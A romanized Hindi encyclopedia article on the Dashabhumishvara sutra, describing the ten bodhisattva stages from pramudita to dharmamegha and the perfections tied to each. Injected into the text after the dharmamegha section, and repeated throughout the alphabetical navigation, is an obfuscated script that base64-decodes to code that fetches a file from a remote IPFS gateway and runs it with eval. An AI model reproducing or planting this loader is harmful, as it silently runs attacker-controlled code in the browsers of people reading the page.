दशभूमीश्वर

gandavyooh ki bhaanti yah sootr bhi avatansak ka ek bhag mana jata hai. isamean bodhisattv ki das aryabhoomiyoan ka vistrit varnan hai, jin bhoomiyoan par kramash: adhirohan karate hue buddhatv avastha tak sadhak pahuanchata hai. 'mahavastu' mean is siddhant ka poorvaroop upalabdh hota hai. is granth mean ukt siddhant ka paripak hua hai.
mahayan mean is sootr ka atyuchch sthan hai. ise dashabhoomik, dashabhoomishvar evan dashabhoomak nam se bhi jana jata hai.
ary asang ne 'dashabhoomak' shabd ka hi prayog kiya hai. isaki lokapriyata evan pramanikata mean yah praman hai ki atyant prachinakal mean hi isake tibbati, chini, japani ev mangoliyan anuvad ho gaye the.
shri dharmaraksh ne isaka chini anuvad ee. sanh 297 mean kar diya tha. isake pratipadan ki shaili mean lambe-lambe samast pad evan roopakoan ki bharamar hai.
mithila vidyapith ne d aau. jones rathar ke sanskaran ke adhar par isaka pun: sanskaran kiya hai.
jnat hai ki mahayan mean das aryabhoomiyaan mani jati haian, yatha- pramudita, vimala, prabhakari, archishmati, sudarjaya, abhimukhi, doorangama, achala, sadhumati evan dharmamedha.
aryavastha se poorv jo prithagjan bhoomi hoti hai, use 'adhimukticharyabhoomi' kahate haian. mahayan mean paanch marg hote haian- sambharamarg, prayogamarg, darshanamarg, bhavanamarg evan ashaikshamarg. darshanamarg prapt hone par bodhisattv 'ary' kahalane lagata hai. uparyukt das bhoomiyaan ary ki bhoomiyaan haian. darshan marg ki prapti se poorv bodhisatv prithagjan hota hai. sambharamarg evan prayogamarg prithagjanamarg haian aur unaki bhoomi adhimukticharyabhoomi kahalati hai.
mahayan gotriy vyakti bodhichitt ka utpad kar mahayan mean pravesh karata hai. prithagjan avastha mean sambhar marg evan prayogamarg ka abhyas kar darshan marg prapt karate hi ary hokar pratham pramudita bhoomi ko prapt karata hai.
paramitaean bhi das hoti haian, yatha-dan, shil, kshanti, viry, dhyan, prajna, upayakaushal, pranidhan, bal evan jnan paramita. bodhisattv pratyek bhoomi mean samanyat: in sabhi paramitaoan ka abhyas karata hai, kintu pratyek bhoomi mean kisi ek paramita ka pradhany hua karata hai. granth mean in bhoomiyoan ke vaishishty ka vistrit pratipadan kiya gaya hai-

pramudita

sanbodhi ko tatha sattvahit ki siddhi ko asann dekhakar is bhoomi mean prakrisht (tivr) mod (harsh) utpann hota hai, at: ise 'pramudita' bhoomi kahate haian. is avastha mean bodhisattv paanch bhayoan se mukt ho jata hai, yatha- jivikabhay, nindabhay, mrityubhay, durgatibhay evan parishadsharady (lajja ka) bhay. jo bodhisattv pramudita bhoomi mean adhishthit ho jata hai, vah jamboodvip par adhipaty karane mean samarth ho jata hai. is bhoomi mean bodhisattv samanyat: dan, priyavachan, parahitasampadan (arthacharya) evan samanarthata (sarvadharmasamata)- in krityoan ka sampadan karata hai. visheshat: is bhoomi mean usaki danaparamita ki poorti hoti hai.

vimala

dau:shily evan abhog adi sabhi malo se vyapagat (rahit) hone ke karan yah bhoomi 'vimala' kahi jati hai. is bhoomi mean bodhisattv shil mean pratishthit hokar das prakar ke kushalakarmo ka sampadan karata hai. is bhoomi mean char sangrah vastuoan^[1] mean priyavadita evan shilaparamita ka pradhany hota hai.

prabhakari

vishisht (mahan) dharmoan ka avabhas karane ke karan yah bhoomi 'prabhakari' kahalati hai. is avastha mean bodhisattv sabhi sanskar dharmoan ko anity, du:kh, anatm evan shoony dekhata hai. sabhi vastuean utpann hokar vinasht ho jati haian. ve atit avastha mean sankrant nahian hotian, bhavishy mean kahian jakar sthit nahian hotian tatha vartaman mean bhi kahian unaka avasthan nahian hota. sharir du:khaskandhatmak haian- aisa bodhisattv avadharan karata hai. usamean shanti, sham, audary evan priyavadita adi gunoan ka utkarsh hota hai. is bhoomi mean avasthit bodhisattv indr ke saman ban jate haian. is bhoomi mean sattvahit charya balavati hoti hai aur shantiparamita ka adhiky hota hai tatha bodhisatv doosaroan mean dharm ka avabhas karata hai.

archishmati

bodhipakshik prajna is bhoomi mean kleshavaran evan jneyavaran ka dahan karati hai. bodhipakshik dharm archishh (jvala) ke saman hote haian. phalat: bodhipakshik dharm aur prajna se yukt hone ke karan yah bhoomi 'archishmati' kahalati hai. bodhisattv is bhoomi mean das prakar ke dharmalok ke sath adhiroodh hota hai. bodhipakshik dharm saiantis hote haian., yatha-char smrityupasthan, char pradhan, char rriddhipad, paanch indriy, paanch bal, sat bodhyany aur ath aryamarg (aryashtangik marg) bodhisattv in bodhipakshik dharmoan ka is bhoomi mean vishesh labh karata hai. any parimataoan ki apeksha is bhoomi mean viryaparamita ki pradhanata hoti hai tatha sangrah vastuoan mean samanarthata adhik utkarsh ko prapt hoti hai.

sudurjaya

bodhisattv is bhoomi mean sattvoan ka paripak aur apani chitt ki vishesh roop se raksha karata hai. ye donoan kary atyant dushkar haian. in par jay prapt karane ke karan yah bhoomi 'sudurjaya' kahalati hai. bodhisattv is bhoomi mean das prakar ki chittavishuddhiyoan ko prapt karata hai tatha chaturvidh aryasatv ke yatharthajnan ka labh karata hai. is sthiti mean bodhisattv ko yah upalabdhi hoti hai ki sampoorn vishv shoony hai. sabhi praniyoan ke prati usamean mahakaruna ka pradurbhav hota hai tatha mahamaitri ka alok utpann hota hai. vah dan, priyavadita evan dharmopadesh adi ke dvara sansar mean kalyan ke marg ka nirdesh karata hai. is bhoomi mean any paramitaoan ki apeksha dhyanaparamita ki pradhanata hoti hai.

abhimukhi

is bhoomi mean prajna ka pradhany hota hai. prajnaparamita ki vajah se sansar aur nirvan donoan mean pratishthit nahian hone ke karan yah bhoomi sansar aur nirvan donoan ke abhimukh hoti hai. isalie 'abhimukhi' kahalati hai. is bhoomi mean bodhisatv bodhyangoan ki nishpatti ka vishesh prayas karate haian. is bhoomi mean prajnaparamita any paramitaoan ki apeksha adhik pradhan hoti hai.

doorangama

sanbodhi ko prapt karane vale ekayan marg se anvit hone ke karan yah bhoomi upay aur prajna ke kshetr mean door tak pravisht hai, kyoanki bodhisattv abhyas ki sima ko par kar gaya hai, isalie yah bhoomi 'doorangama' kahalati hai. is avastha mean bodhisattv shoonyata, animitt aur apranihit in trividhi vimoksh ya samadhiyoan ka labh karata hai. is bhoomi mean any paramitaoan ki apeksha 'upayakaushal paramita' adhik balavati hoti hai.

achala

nam se hi spasht hai ki is bhoomi par adhiroodh hone par bodhisattv ki paravritti (pichhe lautane) ki sambhavana nahian rahati. is bhoomi mean vah anutpattik dharmakshanti se samanvit hota hai. nimittabhogasanjna aur animittabhogasanjna in donoan sanjnaoan se vichalit nahian hone ke karan yah bhoomi 'achala' kahalati hai. is bhoomi ka labh karane par bodhisattv nirvan ki bhi ichchha nahian karate, kyoanki aisa karane par sabhi du:khi praniyoan ka kalyan karane ki unaki jo pratijna hai, usake bhang hone ki aanshaka hoti hai. ve lok mean hi avasthan karate haian. inaka poorv pranidhan is avastha mean balavanh hota hai. jo bodhisattv is bhoomi mean avasthan karate haian, unamean ayurvashita, chetovashita, karmavashita adi dash vashitaean tatha ashayabal, adhyashay bal, mahakaruna adi dash bal sampann hote haian. is bhoomi mean any paramitaoan ki apeksha 'pranidhan paramita' ka adhiky rahata hai.

sadhumati

char pratisanvidh (vishesh jnan) hoti haian, yatha- dharmapratisanvidh arthapratisanvidh, niruktipratisanvidh evan pratibhanapratisanvidh. is bhoomi mean bodhisatv in charoan pratisanvidh mean pravin (=sadhu arthath karmany) ho jata hai, isalie yah bhoomi 'sadhumati' kahalati hai. dharmapratisanvidh ke dvara vah dharmoan ke svalakshan ko janata hai. arthapratisanvidh ke dvara dharmoan ke vibhag ko janata hai. niruktipratisanvidh ke dvara dharmoan ko avibhakt deshana ko janata hai tatha pratibhanapratisanvidh ke dvara dharmoan ke anuprabandh arthath niravachchhinnata ko janata hai. is avasthh mean bodhisattv kushal aur akushaloan ko nishpatti ke prakar ko thik-thik jan leta hai. is bhoomi mean paramitaoan mean 'bal paramita' ka pradhany hota hai.

dharmamegha

dharm roopi akash vividh samadhi mukh aur vividh dharanimukh roopi meghoan se is bhoomi mean vyapt ho jata hai, at: yah bhoomi 'dharmamegha' kahalati hai. yah bhoomi abhishek bhoomi adi namoan se bhi parichit hai. is bhoomi mean bodhisattv ki 'sarvajnanabhishek samadhi' nishpann hoti hai. bodhisattav jab is samadhi ka labh karate haian tab ve 'maharatnarajapadm' namak asan par upavisht dikhalaee p date haian. ve ajnan se utpann klesh roopi agni ka dharmamegh ke varnan se upashaman karate haian. arthath klesharoopi agni ko bujha dete haian, isalie is bhoomi ka nam 'dharmamegha' hai. is bhoomi mean unaki 'jnanaparamita' any paramitaoan ki apeksha pradhany ka labh karati hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ char sangrah ye haian- dan, priyavaditv, arthacharya evan samanarthata.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] r sangrah ye haian- dan, priyavaditv, arthacharya evan samanarthata.

[1]

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